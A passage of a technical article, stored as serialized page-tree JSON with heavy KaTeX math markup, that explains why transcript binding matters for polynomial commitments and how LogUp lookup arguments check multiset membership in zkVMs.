",{"type":23,"tag":154,"props":114610,"children":114612},{"className":114611},[500,501],[114613],{"type":23,"tag":504,"props":114614,"children":114616},{"className":114615},[507],[114617],{"type":23,"tag":504,"props":114618,"children":114620},{"className":114619,"ariaHidden":513},[512],[114621],{"type":23,"tag":504,"props":114622,"children":114624},{"className":114623},[518],[114625,114629,114638,114643,114692,114697,114701,114750],{"type":23,"tag":504,"props":114626,"children":114628},{"className":114627,"style":114404},[523],[],{"type":23,"tag":504,"props":114630,"children":114632},{"className":114631},[529,29],[114633],{"type":23,"tag":504,"props":114634,"children":114636},{"className":114635},[529],[114637],{"type":29,"value":114415},{"type":23,"tag":504,"props":114639,"children":114641},{"className":114640},[600],[114642],{"type":29,"value":603},{"type":23,"tag":504,"props":114644,"children":114646},{"className":114645},[529,113975],[114647],{"type":23,"tag":504,"props":114648,"children":114650},{"className":114649},[671],[114651],{"type":23,"tag":504,"props":114652,"children":114654},{"className":114653},[677],[114655],{"type":23,"tag":504,"props":114656,"children":114658},{"className":114657,"style":114191},[682],[114659,114671],{"type":23,"tag":504,"props":114660,"children":114661},{"style":113992},[114662,114666],{"type":23,"tag":504,"props":114663,"children":114665},{"className":114664,"style":113997},[692],[],{"type":23,"tag":504,"props":114667,"children":114669},{"className":114668},[529,530],[114670],{"type":29,"value":3003},{"type":23,"tag":504,"props":114672,"children":114673},{"style":114359},[114674,114678],{"type":23,"tag":504,"props":114675,"children":114677},{"className":114676,"style":113997},[692],[],{"type":23,"tag":504,"props":114679,"children":114681},{"className":114680,"style":114218},[114015],[114682],{"type":23,"tag":504,"props":114683,"children":114685},{"className":114684,"style":114091},[114090],[114686],{"type":23,"tag":36329,"props":114687,"children":114688},{"xmlns":114095,"width":114096,"height":114097,"style":114098,"viewBox":114099,"preserveAspectRatio":114100},[114689],{"type":23,"tag":114103,"props":114690,"children":114691},{"d":114105},[],{"type":23,"tag":504,"props":114693,"children":114695},{"className":114694},[2267],[114696],{"type":29,"value":2270},{"type":23,"tag":504,"props":114698,"children":114700},{"className":114699,"style":2274},[537],[],{"type":23,"tag":504,"props":114702,"children":114704},{"className":114703},[529,113975],[114705],{"type":23,"tag":504,"props":114706,"children":114708},{"className":114707},[671],[114709],{"type":23,"tag":504,"props":114710,"children":114712},{"className":114711},[677],[114713],{"type":23,"tag":504,"props":114714,"children":114716},{"className":114715,"style":114061},[682],[114717,114729],{"type":23,"tag":504,"props":114718,"children":114719},{"style":113992},[114720,114724],{"type":23,"tag":504,"props":114721,"children":114723},{"className":114722,"style":113997},[692],[],{"type":23,"tag":504,"props":114725,"children":114727},{"className":114726,"style":624},[529,530],[114728],{"type":29,"value":1477},{"type":23,"tag":504,"props":114730,"children":114731},{"style":113992},[114732,114736],{"type":23,"tag":504,"props":114733,"children":114735},{"className":114734,"style":113997},[692],[],{"type":23,"tag":504,"props":114737,"children":114739},{"className":114738,"style":114085},[114015],[114740],{"type":23,"tag":504,"props":114741,"children":114743},{"className":114742,"style":114091},[114090],[114744],{"type":23,"tag":36329,"props":114745,"children":114746},{"xmlns":114095,"width":114096,"height":114097,"style":114098,"viewBox":114099,"preserveAspectRatio":114100},[114747],{"type":23,"tag":114103,"props":114748,"children":114749},{"d":114105},[],{"type":23,"tag":504,"props":114751,"children":114753},{"className":114752},[930],[114754],{"type":29,"value":933},{"type":29,"value":114756}," are constants, so ",{"type":23,"tag":154,"props":114758,"children":114760},{"className":114759},[500,501],[114761],{"type":23,"tag":504,"props":114762,"children":114764},{"className":114763},[507],[114765],{"type":23,"tag":504,"props":114766,"children":114768},{"className":114767,"ariaHidden":513},[512],[114769],{"type":23,"tag":504,"props":114770,"children":114772},{"className":114771},[518],[114773,114777,114837,114842,114891],{"type":23,"tag":504,"props":114774,"children":114776},{"className":114775,"style":113970},[523],[],{"type":23,"tag":504,"props":114778,"children":114780},{"className":114779},[529,113975],[114781],{"type":23,"tag":504,"props":114782,"children":114784},{"className":114783},[671,672],[114785,114826],{"type":23,"tag":504,"props":114786,"children":114788},{"className":114787},[677],[114789,114821],{"type":23,"tag":504,"props":114790,"children":114792},{"className":114791,"style":113988},[682],[114793,114805],{"type":23,"tag":504,"props":114794,"children":114795},{"style":113992},[114796,114800],{"type":23,"tag":504,"props":114797,"children":114799},{"className":114798,"style":113997},[692],[],{"type":23,"tag":504,"props":114801,"children":114803},{"className":114802,"style":3022},[529,530],[114804],{"type":29,"value":3025},{"type":23,"tag":504,"props":114806,"children":114807},{"style":114006},[114808,114812],{"type":23,"tag":504,"props":114809,"children":114811},{"className":114810,"style":113997},[692],[],{"type":23,"tag":504,"props":114813,"children":114815},{"className":114814,"style":114016},[114015],[114816],{"type":23,"tag":504,"props":114817,"children":114819},{"className":114818},[529],[114820],{"type":29,"value":114023},{"type":23,"tag":504,"props":114822,"children":114824},{"className":114823},[712],[114825],{"type":29,"value":715},{"type":23,"tag":504,"props":114827,"children":114829},{"className":114828},[677],[114830],{"type":23,"tag":504,"props":114831,"children":114833},{"className":114832,"style":114036},[682],[114834],{"type":23,"tag":504,"props":114835,"children":114836},{},[],{"type":23,"tag":504,"props":114838,"children":114840},{"className":114839},[600],[114841],{"type":29,"value":603},{"type":23,"tag":504,"props":114843,"children":114845},{"className":114844},[529,113975],[114846],{"type":23,"tag":504,"props":114847,"children":114849},{"className":114848},[671],[114850],{"type":23,"tag":504,"props":114851,"children":114853},{"className":114852},[677],[114854],{"type":23,"tag":504,"props":114855,"children":114857},{"className":114856,"style":114061},[682],[114858,114870],{"type":23,"tag":504,"props":114859,"children":114860},{"style":113992},[114861,114865],{"type":23,"tag":504,"props":114862,"children":114864},{"className":114863,"style":113997},[692],[],{"type":23,"tag":504,"props":114866,"children":114868},{"className":114867,"style":624},[529,530],[114869],{"type":29,"value":1477},{"type":23,"tag":504,"props":114871,"children":114872},{"style":113992},[114873,114877],{"type":23,"tag":504,"props":114874,"children":114876},{"className":114875,"style":113997},[692],[],{"type":23,"tag":504,"props":114878,"children":114880},{"className":114879,"style":114085},[114015],[114881],{"type":23,"tag":504,"props":114882,"children":114884},{"className":114883,"style":114091},[114090],[114885],{"type":23,"tag":36329,"props":114886,"children":114887},{"xmlns":114095,"width":114096,"height":114097,"style":114098,"viewBox":114099,"preserveAspectRatio":114100},[114888],{"type":23,"tag":114103,"props":114889,"children":114890},{"d":114105},[],{"type":23,"tag":504,"props":114892,"children":114894},{"className":114893},[930],[114895],{"type":29,"value":933},{"type":29,"value":114897}," is linear in the table values ",{"type":23,"tag":154,"props":114899,"children":114901},{"className":114900},[500,501],[114902],{"type":23,"tag":504,"props":114903,"children":114905},{"className":114904},[507],[114906],{"type":23,"tag":504,"props":114907,"children":114909},{"className":114908,"ariaHidden":513},[512],[114910],{"type":23,"tag":504,"props":114911,"children":114913},{"className":114912},[518],[114914,114918,114923,114928,114977],{"type":23,"tag":504,"props":114915,"children":114917},{"className":114916,"style":114404},[523],[],{"type":23,"tag":504,"props":114919,"children":114921},{"className":114920,"style":3022},[529,530],[114922],{"type":29,"value":3025},{"type":23,"tag":504,"props":114924,"children":114926},{"className":114925},[600],[114927],{"type":29,"value":603},{"type":23,"tag":504,"props":114929,"children":114931},{"className":114930},[529,113975],[114932],{"type":23,"tag":504,"props":114933,"children":114935},{"className":114934},[671],[114936],{"type":23,"tag":504,"props":114937,"children":114939},{"className":114938},[677],[114940],{"type":23,"tag":504,"props":114941,"children":114943},{"className":114942,"style":114191},[682],[114944,114956],{"type":23,"tag":504,"props":114945,"children":114946},{"style":113992},[114947,114951],{"type":23,"tag":504,"props":114948,"children":114950},{"className":114949,"style":113997},[692],[],{"type":23,"tag":504,"props":114952,"children":114954},{"className":114953},[529,530],[114955],{"type":29,"value":3003},{"type":23,"tag":504,"props":114957,"children":114958},{"style":114359},[114959,114963],{"type":23,"tag":504,"props":114960,"children":114962},{"className":114961,"style":113997},[692],[],{"type":23,"tag":504,"props":114964,"children":114966},{"className":114965,"style":114218},[114015],[114967],{"type":23,"tag":504,"props":114968,"children":114970},{"className":114969,"style":114091},[114090],[114971],{"type":23,"tag":36329,"props":114972,"children":114973},{"xmlns":114095,"width":114096,"height":114097,"style":114098,"viewBox":114099,"preserveAspectRatio":114100},[114974],{"type":23,"tag":114103,"props":114975,"children":114976},{"d":114105},[],{"type":23,"tag":504,"props":114978,"children":114980},{"className":114979},[930],[114981],{"type":29,"value":933},{"type":29,"value":357},{"type":23,"tag":32,"props":114984,"children":114985},{},[114986,114988,115057],{"type":29,"value":114987},"That linearity is exactly why missing transcript binding is dangerous: if ",{"type":23,"tag":154,"props":114989,"children":114991},{"className":114990},[500,501],[114992],{"type":23,"tag":504,"props":114993,"children":114995},{"className":114994},[507],[114996],{"type":23,"tag":504,"props":114997,"children":114999},{"className":114998,"ariaHidden":513},[512],[115000],{"type":23,"tag":504,"props":115001,"children":115003},{"className":115002},[518],[115004,115008],{"type":23,"tag":504,"props":115005,"children":115007},{"className":115006,"style":114061},[523],[],{"type":23,"tag":504,"props":115009,"children":115011},{"className":115010},[529,113975],[115012],{"type":23,"tag":504,"props":115013,"children":115015},{"className":115014},[671],[115016],{"type":23,"tag":504,"props":115017,"children":115019},{"className":115018},[677],[115020],{"type":23,"tag":504,"props":115021,"children":115023},{"className":115022,"style":114061},[682],[115024,115036],{"type":23,"tag":504,"props":115025,"children":115026},{"style":113992},[115027,115031],{"type":23,"tag":504,"props":115028,"children":115030},{"className":115029,"style":113997},[692],[],{"type":23,"tag":504,"props":115032,"children":115034},{"className":115033,"style":624},[529,530],[115035],{"type":29,"value":1477},{"type":23,"tag":504,"props":115037,"children":115038},{"style":113992},[115039,115043],{"type":23,"tag":504,"props":115040,"children":115042},{"className":115041,"style":113997},[692],[],{"type":23,"tag":504,"props":115044,"children":115046},{"className":115045,"style":114085},[114015],[115047],{"type":23,"tag":504,"props":115048,"children":115050},{"className":115049,"style":114091},[114090],[115051],{"type":23,"tag":36329,"props":115052,"children":115053},{"xmlns":114095,"width":114096,"height":114097,"style":114098,"viewBox":114099,"preserveAspectRatio":114100},[115054],{"type":23,"tag":114103,"props":115055,"children":115056},{"d":114105},[],{"type":29,"value":115058}," is sampled before those values are bound, an attacker can reprogram values while preserving the same evaluated claim.",{"type":23,"tag":320,"props":115060,"children":115062},{"id":115061},"lookup-arguments-logup",[115063],{"type":29,"value":115064},"Lookup Arguments (LogUp)",{"type":23,"tag":32,"props":115066,"children":115067},{},[115068],{"type":29,"value":115069},"zkVMs need to check that values satisfy certain properties. For example:",{"type":23,"tag":1022,"props":115071,"children":115072},{},[115073,115129,115134],{"type":23,"tag":143,"props":115074,"children":115075},{},[115076,115078,115128],{"type":29,"value":115077},"Is this byte in range ",{"type":23,"tag":154,"props":115079,"children":115081},{"className":115080},[500,501],[115082],{"type":23,"tag":504,"props":115083,"children":115085},{"className":115084},[507],[115086],{"type":23,"tag":504,"props":115087,"children":115089},{"className":115088,"ariaHidden":513},[512],[115090],{"type":23,"tag":504,"props":115091,"children":115093},{"className":115092},[518],[115094,115098,115103,115108,115113,115117,115123],{"type":23,"tag":504,"props":115095,"children":115097},{"className":115096,"style":2160},[523],[],{"type":23,"tag":504,"props":115099,"children":115101},{"className":115100},[600],[115102],{"type":29,"value":1380},{"type":23,"tag":504,"props":115104,"children":115106},{"className":115105},[529],[115107],{"type":29,"value":708},{"type":23,"tag":504,"props":115109,"children":115111},{"className":115110},[2267],[115112],{"type":29,"value":2270},{"type":23,"tag":504,"props":115114,"children":115116},{"className":115115,"style":2274},[537],[],{"type":23,"tag":504,"props":115118,"children":115120},{"className":115119},[529],[115121],{"type":29,"value":115122},"255",{"type":23,"tag":504,"props":115124,"children":115126},{"className":115125},[930],[115127],{"type":29,"value":1422},{"type":29,"value":5195},{"type":23,"tag":143,"props":115130,"children":115131},{},[115132],{"type":29,"value":115133},"Does this opcode decode correctly?",{"type":23,"tag":143,"props":115135,"children":115136},{},[115137],{"type":29,"value":115138},"Is this memory access consistent with previous accesses?",{"type":23,"tag":32,"props":115140,"children":115141},{},[115142,115147],{"type":23,"tag":38,"props":115143,"children":115144},{},[115145],{"type":29,"value":115146},"The naive approach:",{"type":29,"value":115148}," Add constraints for each check. Expensive.",{"type":23,"tag":32,"props":115150,"children":115151},{},[115152,115157,115159,115164],{"type":23,"tag":38,"props":115153,"children":115154},{},[115155],{"type":29,"value":115156},"The clever approach:",{"type":29,"value":115158}," Precompute a table of valid tuples. Prove that every value the program uses appears in the table. This is a ",{"type":23,"tag":38,"props":115160,"children":115161},{},[115162],{"type":29,"value":115163},"multiset membership",{"type":29,"value":69859},{"type":23,"tag":32,"props":115166,"children":115167},{},[115168,115173],{"type":23,"tag":38,"props":115169,"children":115170},{},[115171],{"type":29,"value":115172},"LogUp (Logarithmic Derivative):",{"type":29,"value":115174}," Encode multiset membership as a sum of fractions.",{"type":23,"tag":32,"props":115176,"children":115177},{},[115178,115180,115205,115207,115234],{"type":29,"value":115179},"If set ",{"type":23,"tag":154,"props":115181,"children":115183},{"className":115182},[500,501],[115184],{"type":23,"tag":504,"props":115185,"children":115187},{"className":115186},[507],[115188],{"type":23,"tag":504,"props":115189,"children":115191},{"className":115190,"ariaHidden":513},[512],[115192],{"type":23,"tag":504,"props":115193,"children":115195},{"className":115194},[518],[115196,115200],{"type":23,"tag":504,"props":115197,"children":115199},{"className":115198,"style":23635},[523],[],{"type":23,"tag":504,"props":115201,"children":115203},{"className":115202},[529,530],[115204],{"type":29,"value":888},{"type":29,"value":115206}," should equal set ",{"type":23,"tag":154,"props":115208,"children":115210},{"className":115209},[500,501],[115211],{"type":23,"tag":504,"props":115212,"children":115214},{"className":115213},[507],[115215],{"type":23,"tag":504,"props":115216,"children":115218},{"className":115217,"ariaHidden":513},[512],[115219],{"type":23,"tag":504,"props":115220,"children":115222},{"className":115221},[518],[115223,115227],{"type":23,"tag":504,"props":115224,"children":115226},{"className":115225,"style":23635},[523],[],{"type":23,"tag":504,"props":115228,"children":115231},{"className":115229,"style":115230},[529,530],"margin-right:0.05017em;",[115232],{"type":29,"value":115233},"B",{"type":29,"value":115235}," as multisets:",{"type":23,"tag":32,"props":115237,"children":115238},{},[115239],{"type":23,"tag":154,"props":115240,"children":115242},{"className":115241},[500,501],[115243],{"type":23,"tag":504,"props":115244,"children":115246},{"className":115245},[507],[115247],{"type":23,"tag":504,"props":115248,"children":115250},{"className":115249,"ariaHidden":513},[512],[115251,115466],{"type":23,"tag":504,"props":115252,"children":115254},{"className":115253},[518],[115255,115260,115333,115337,115453,115457,115462],{"type":23,"tag":504,"props":115256,"children":115259},{"className":115257,"style":115258},[523],"height:1.2484em;vertical-align:-0.4033em;",[],{"type":23,"tag":504,"props":115261,"children":115263},{"className":115262},[23673],[115264,115269],{"type":23,"tag":504,"props":115265,"children":115267},{"className":115266,"style":23680},[23673,23678,23679],[115268],{"type":29,"value":110621},{"type":23,"tag":504,"props":115270,"children":115272},{"className":115271},[666],[115273],{"type":23,"tag":504,"props":115274,"children":115276},{"className":115275},[671,672],[115277,115321],{"type":23,"tag":504,"props":115278,"children":115280},{"className":115279},[677],[115281,115316],{"type":23,"tag":504,"props":115282,"children":115285},{"className":115283,"style":115284},[682],"height:0.1786em;",[115286],{"type":23,"tag":504,"props":115287,"children":115288},{"style":23703},[115289,115293],{"type":23,"tag":504,"props":115290,"children":115292},{"className":115291,"style":693},[692],[],{"type":23,"tag":504,"props":115294,"children":115296},{"className":115295},[698,699,700,701],[115297],{"type":23,"tag":504,"props":115298,"children":115300},{"className":115299},[529,701],[115301,115306,115311],{"type":23,"tag":504,"props":115302,"children":115304},{"className":115303},[529,530,701],[115305],{"type":29,"value":68},{"type":23,"tag":504,"props":115307,"children":115309},{"className":115308},[543,701],[115310],{"type":29,"value":23742},{"type":23,"tag":504,"props":115312,"children":115314},{"className":115313},[529,530,701],[115315],{"type":29,"value":888},{"type":23,"tag":504,"props":115317,"children":115319},{"className":115318},[712],[115320],{"type":29,"value":715},{"type":23,"tag":504,"props":115322,"children":115324},{"className":115323},[677],[115325],{"type":23,"tag":504,"props":115326,"children":115329},{"className":115327,"style":115328},[682],"height:0.3271em;",[115330],{"type":23,"tag":504,"props":115331,"children":115332},{},[],{"type":23,"tag":504,"props":115334,"children":115336},{"className":115335,"style":2274},[537],[],{"type":23,"tag":504,"props":115338,"children":115340},{"className":115339},[529],[115341,115346,115449],{"type":23,"tag":504,"props":115342,"children":115345},{"className":115343},[600,115344],"nulldelimiter",[],{"type":23,"tag":504,"props":115347,"children":115350},{"className":115348},[115349],"mfrac",[115351],{"type":23,"tag":504,"props":115352,"children":115354},{"className":115353},[671,672],[115355,115437],{"type":23,"tag":504,"props":115356,"children":115358},{"className":115357},[677],[115359,115432],{"type":23,"tag":504,"props":115360,"children":115363},{"className":115361,"style":115362},[682],"height:0.8451em;",[115364,115397,115411],{"type":23,"tag":504,"props":115365,"children":115367},{"style":115366},"top:-2.655em;",[115368,115372],{"type":23,"tag":504,"props":115369,"children":115371},{"className":115370,"style":113997},[692],[],{"type":23,"tag":504,"props":115373,"children":115375},{"className":115374},[698,699,700,701],[115376],{"type":23,"tag":504,"props":115377,"children":115379},{"className":115378},[529,701],[115380,115387,115392],{"type":23,"tag":504,"props":115381,"children":115384},{"className":115382,"style":115383},[529,530,701],"margin-right:0.04398em;",[115385],{"type":29,"value":115386},"z",{"type":23,"tag":504,"props":115388,"children":115390},{"className":115389},[1431,701],[115391],{"type":29,"value":6118},{"type":23,"tag":504,"props":115393,"children":115395},{"className":115394},[529,530,701],[115396],{"type":29,"value":68},{"type":23,"tag":504,"props":115398,"children":115400},{"style":115399},"top:-3.23em;",[115401,115405],{"type":23,"tag":504,"props":115402,"children":115404},{"className":115403,"style":113997},[692],[],{"type":23,"tag":504,"props":115406,"children":115410},{"className":115407,"style":115409},[115408],"frac-line","border-bottom-width:0.04em;",[],{"type":23,"tag":504,"props":115412,"children":115414},{"style":115413},"top:-3.394em;",[115415,115419],{"type":23,"tag":504,"props":115416,"children":115418},{"className":115417,"style":113997},[692],[],{"type":23,"tag":504,"props":115420,"children":115422},{"className":115421},[698,699,700,701],[115423],{"type":23,"tag":504,"props":115424,"children":115426},{"className":115425},[529,701],[115427],{"type":23,"tag":504,"props":115428,"children":115430},{"className":115429},[529,701],[115431],{"type":29,"value":826},{"type":23,"tag":504,"props":115433,"children":115435},{"className":115434},[712],[115436],{"type":29,"value":715},{"type":23,"tag":504,"props":115438,"children":115440},{"className":115439},[677],[115441],{"type":23,"tag":504,"props":115442,"children":115445},{"className":115443,"style":115444},[682],"height:0.4033em;",[115446],{"type":23,"tag":504,"props":115447,"children":115448},{},[],{"type":23,"tag":504,"props":115450,"children":115452},{"className":115451},[930,115344],[],{"type":23,"tag":504,"props":115454,"children":115456},{"className":115455,"style":538},[537],[],{"type":23,"tag":504,"props":115458,"children":115460},{"className":115459},[543],[115461],{"type":29,"value":546},{"type":23,"tag":504,"props":115463,"children":115465},{"className":115464,"style":538},[537],[],{"type":23,"tag":504,"props":115467,"children":115469},{"className":115468},[518],[115470,115474,115546,115550],{"type":23,"tag":504,"props":115471,"children":115473},{"className":115472,"style":115258},[523],[],{"type":23,"tag":504,"props":115475,"children":115477},{"className":115476},[23673],[115478,115483],{"type":23,"tag":504,"props":115479,"children":115481},{"className":115480,"style":23680},[23673,23678,23679],[115482],{"type":29,"value":110621},{"type":23,"tag":504,"props":115484,"children":115486},{"className":115485},[666],[115487],{"type":23,"tag":504,"props":115488,"children":115490},{"className":115489},[671,672],[115491,115535],{"type":23,"tag":504,"props":115492,"children":115494},{"className":115493},[677],[115495,115530],{"type":23,"tag":504,"props":115496,"children":115499},{"className":115497,"style":115498},[682],"height:0.1864em;",[115500],{"type":23,"tag":504,"props":115501,"children":115502},{"style":23703},[115503,115507],{"type":23,"tag":504,"props":115504,"children":115506},{"className":115505,"style":693},[692],[],{"type":23,"tag":504,"props":115508,"children":115510},{"className":115509},[698,699,700,701],[115511],{"type":23,"tag":504,"props":115512,"children":115514},{"className":115513},[529,701],[115515,115520,115525],{"type":23,"tag":504,"props":115516,"children":115518},{"className":115517},[529,530,701],[115519],{"type":29,"value":3003},{"type":23,"tag":504,"props":115521,"children":115523},{"className":115522},[543,701],[115524],{"type":29,"value":23742},{"type":23,"tag":504,"props":115526,"children":115528},{"className":115527,"style":115230},[529,530,701],[115529],{"type":29,"value":115233},{"type":23,"tag":504,"props":115531,"children":115533},{"className":115532},[712],[115534],{"type":29,"value":715},{"type":23,"tag":504,"props":115536,"children":115538},{"className":115537},[677],[115539],{"type":23,"tag":504,"props":115540,"children":115542},{"className":115541,"style":115328},[682],[115543],{"type":23,"tag":504,"props":115544,"children":115545},{},[],{"type":23,"tag":504,"props":115547,"children":115549},{"className":115548,"style":2274},[537],[],{"type":23,"tag":504,"props":115551,"children":115553},{"className":115552},[529],[115554,115558,115651],{"type":23,"tag":504,"props":115555,"children":115557},{"className":115556},[600,115344],[],{"type":23,"tag":504,"props":115559,"children":115561},{"className":115560},[115349],[115562],{"type":23,"tag":504,"props":115563,"children":115565},{"className":115564},[671,672],[115566,115640],{"type":23,"tag":504,"props":115567,"children":115569},{"className":115568},[677],[115570,115635],{"type":23,"tag":504,"props":115571,"children":115573},{"className":115572,"style":115362},[682],[115574,115604,115615],{"type":23,"tag":504,"props":115575,"children":115576},{"style":115366},[115577,115581],{"type":23,"tag":504,"props":115578,"children":115580},{"className":115579,"style":113997},[692],[],{"type":23,"tag":504,"props":115582,"children":115584},{"className":115583},[698,699,700,701],[115585],{"type":23,"tag":504,"props":115586,"children":115588},{"className":115587},[529,701],[115589,115594,115599],{"type":23,"tag":504,"props":115590,"children":115592},{"className":115591,"style":115383},[529,530,701],[115593],{"type":29,"value":115386},{"type":23,"tag":504,"props":115595,"children":115597},{"className":115596},[1431,701],[115598],{"type":29,"value":6118},{"type":23,"tag":504,"props":115600,"children":115602},{"className":115601},[529,530,701],[115603],{"type":29,"value":3003},{"type":23,"tag":504,"props":115605,"children":115606},{"style":115399},[115607,115611],{"type":23,"tag":504,"props":115608,"children":115610},{"className":115609,"style":113997},[692],[],{"type":23,"tag":504,"props":115612,"children":115614},{"className":115613,"style":115409},[115408],[],{"type":23,"tag":504,"props":115616,"children":115617},{"style":115413},[115618,115622],{"type":23,"tag":504,"props":115619,"children":115621},{"className":115620,"style":113997},[692],[],{"type":23,"tag":504,"props":115623,"children":115625},{"className":115624},[698,699,700,701],[115626],{"type":23,"tag":504,"props":115627,"children":115629},{"className":115628},[529,701],[115630],{"type":23,"tag":504,"props":115631,"children":115633},{"className":115632},[529,701],[115634],{"type":29,"value":826},{"type":23,"tag":504,"props":115636,"children":115638},{"className":115637},[712],[115639],{"type":29,"value":715},{"type":23,"tag":504,"props":115641,"children":115643},{"className":115642},[677],[115644],{"type":23,"tag":504,"props":115645,"children":115647},{"className":115646,"style":115444},[682],[115648],{"type":23,"tag":504,"props":115649,"children":115650},{},[],{"type":23,"tag":504,"props":115652,"children":115654},{"className":115653},[930,115344],[],{"type":23,"tag":32,"props":115656,"children":115657},{},[115658,115660,115685],{"type":29,"value":115659},"for random challenge ",{"type":23,"tag":154,"props":115661,"children":115663},{"className":115662},[500,501],[115664],{"type":23,"tag":504,"props":115665,"children":115667},{"className":115666},[507],[115668],{"type":23,"tag":504,"props":115669,"children":115671},{"className":115670,"ariaHidden":513},[512],[115672],{"type":23,"tag":504,"props":115673,"children":115675},{"className":115674},[518],[115676,115680],{"type":23,"tag":504,"props":115677,"children":115679},{"className":115678,"style":112667},[523],[],{"type":23,"tag":504,"props":115681,"children":115683},{"className":115682,"style":115383},[529,530],[115684],{"type":29,"value":115386},{"type":29,"value":115686},". If the multisets match, the sums are equal. If they differ, the sums differ with overwhelming probability.",{"type":23,"tag":32,"props":115688,"children":115689},{},[115690,115695],{"type":23,"tag":38,"props":115691,"children":115692},{},[115693],{"type":29,"value":115694},"In zkVMs:",{"type":29,"value":115696}," Different components emit and consume lookup tuples:",{"type":23,"tag":1022,"props":115698,"children":115699},{},[115700,115787],{"type":23,"tag":143,"props":115701,"children":115702},{},[115703,115705,115731,115733,115758,115760,115786],{"type":29,"value":115704},"CPU emits: \"I read value ",{"type":23,"tag":154,"props":115706,"children":115708},{"className":115707},[500,501],[115709],{"type":23,"tag":504,"props":115710,"children":115712},{"className":115711},[507],[115713],{"type":23,"tag":504,"props":115714,"children":115716},{"className":115715,"ariaHidden":513},[512],[115717],{"type":23,"tag":504,"props":115718,"children":115720},{"className":115719},[518],[115721,115725],{"type":23,"tag":504,"props":115722,"children":115724},{"className":115723,"style":112667},[523],[],{"type":23,"tag":504,"props":115726,"children":115728},{"className":115727,"style":1136},[529,530],[115729],{"type":29,"value":115730},"v",{"type":29,"value":115732}," from address ",{"type":23,"tag":154,"props":115734,"children":115736},{"className":115735},[500,501],[115737],{"type":23,"tag":504,"props":115738,"children":115740},{"className":115739},[507],[115741],{"type":23,"tag":504,"props":115742,"children":115744},{"className":115743,"ariaHidden":513},[512],[115745],{"type":23,"tag":504,"props":115746,"children":115748},{"className":115747},[518],[115749,115753],{"type":23,"tag":504,"props":115750,"children":115752},{"className":115751,"style":112667},[523],[],{"type":23,"tag":504,"props":115754,"children":115756},{"className":115755},[529,530],[115757],{"type":29,"value":68},{"type":29,"value":115759}," at time ",{"type":23,"tag":154,"props":115761,"children":115763},{"className":115762},[500,501],[115764],{"type":23,"tag":504,"props":115765,"children":115767},{"className":115766},[507],[115768],{"type":23,"tag":504,"props":115769,"children":115771},{"className":115770,"ariaHidden":513},[512],[115772],{"type":23,"tag":504,"props":115773,"children":115775},{"className":115774},[518],[115776,115781],{"type":23,"tag":504,"props":115777,"children":115780},{"className":115778,"style":115779},[523],"height:0.6151em;",[],{"type":23,"tag":504,"props":115782,"children":115784},{"className":115783},[529,530],[115785],{"type":29,"value":620},{"type":29,"value":22112},{"type":23,"tag":143,"props":115788,"children":115789},{},[115790,115792,115817,115819,115844,115846,115871],{"type":29,"value":115791},"Memory table consumes: \"At time ",{"type":23,"tag":154,"props":115793,"children":115795},{"className":115794},[500,501],[115796],{"type":23,"tag":504,"props":115797,"children":115799},{"className":115798},[507],[115800],{"type":23,"tag":504,"props":115801,"children":115803},{"className":115802,"ariaHidden":513},[512],[115804],{"type":23,"tag":504,"props":115805,"children":115807},{"className":115806},[518],[115808,115812],{"type":23,"tag":504,"props":115809,"children":115811},{"className":115810,"style":115779},[523],[],{"type":23,"tag":504,"props":115813,"children":115815},{"className":115814},[529,530],[115816],{"type":29,"value":620},{"type":29,"value":115818},", address ",{"type":23,"tag":154,"props":115820,"children":115822},{"className":115821},[500,501],[115823],{"type":23,"tag":504,"props":115824,"children":115826},{"className":115825},[507],[115827],{"type":23,"tag":504,"props":115828,"children":115830},{"className":115829,"ariaHidden":513},[512],[115831],{"type":23,"tag":504,"props":115832,"children":115834},{"className":115833},[518],[115835,115839],{"type":23,"tag":504,"props":115836,"children":115838},{"className":115837,"style":112667},[523],[],{"type":23,"tag":504,"props":115840,"children":115842},{"className":115841},[529,530],[115843],{"type":29,"value":68},{"type":29,"value":115845}," contained ",{"type":23,"tag":154,"props":115847,"children":115849},{"className":115848},[500,501],[115850],{"type":23,"tag":504,"props":115851,"children":115853},{"className":115852},[507],[115854],{"type":23,"tag":504,"props":115855,"children":115857},{"className":115856,"ariaHidden":513},[512],[115858],{"type":23,"tag":504,"props":115859,"children":115861},{"className":115860},[518],[115862,115866],{"type":23,"tag":504,"props":115863,"children":115865},{"className":115864,"style":112667},[523],[],{"type":23,"tag":504,"props":115867,"children":115869},{"className":115868,"style":1136},[529,530],[115870],{"type":29,"value":115730},{"type":29,"value":22112},{"type":23,"tag":32,"props":115873,"children":115874},{},[115875],{"type":29,"value":115876},"If everything balances, the execution is consistent.",{"type":23,"tag":32,"props":115878,"children":115879},{},[115880,115885],{"type":23,"tag":38,"props":115881,"children":115882},{},[115883],{"type":29,"value":115884},"The claimed_sum:",{"type":29,"value":115886}," Each component computes its contribution to the LogUp sum:",{"type":23,"tag":32,"props":115888,"children":115889},{},[115890],{"type":23,"tag":154,"props":115891,"children":115893},{"className":115892},[500,501],[115894],{"type":23,"tag":504,"props":115895,"children":115897},{"className":115896},[507],[115898],{"type":23,"tag":504,"props":115899,"children":115901},{"className":115900,"ariaHidden":513},[512],[115902,116000,116251],{"type":23,"tag":504,"props":115903,"children":115905},{"className":115904},[518],[115906,115910,115920,115925,115987,115991,115996],{"type":23,"tag":504,"props":115907,"children":115909},{"className":115908,"style":2073},[523],[],{"type":23,"tag":504,"props":115911,"children":115913},{"className":115912},[529,29],[115914],{"type":23,"tag":504,"props":115915,"children":115917},{"className":115916},[529],[115918],{"type":29,"value":115919},"claimed",{"type":23,"tag":504,"props":115921,"children":115923},{"className":115922,"style":624},[529],[115924],{"type":29,"value":627},{"type":23,"tag":504,"props":115926,"children":115928},{"className":115927},[529],[115929,115938],{"type":23,"tag":504,"props":115930,"children":115932},{"className":115931},[529,29],[115933],{"type":23,"tag":504,"props":115934,"children":115936},{"className":115935},[529],[115937],{"type":29,"value":78697},{"type":23,"tag":504,"props":115939,"children":115941},{"className":115940},[666],[115942],{"type":23,"tag":504,"props":115943,"children":115945},{"className":115944},[671,672],[115946,115976],{"type":23,"tag":504,"props":115947,"children":115949},{"className":115948},[677],[115950,115971],{"type":23,"tag":504,"props":115951,"children":115953},{"className":115952,"style":1180},[682],[115954],{"type":23,"tag":504,"props":115955,"children":115957},{"style":115956},"top:-2.55em;margin-right:0.05em;",[115958,115962],{"type":23,"tag":504,"props":115959,"children":115961},{"className":115960,"style":693},[692],[],{"type":23,"tag":504,"props":115963,"children":115965},{"className":115964},[698,699,700,701],[115966],{"type":23,"tag":504,"props":115967,"children":115969},{"className":115968},[529,530,701],[1159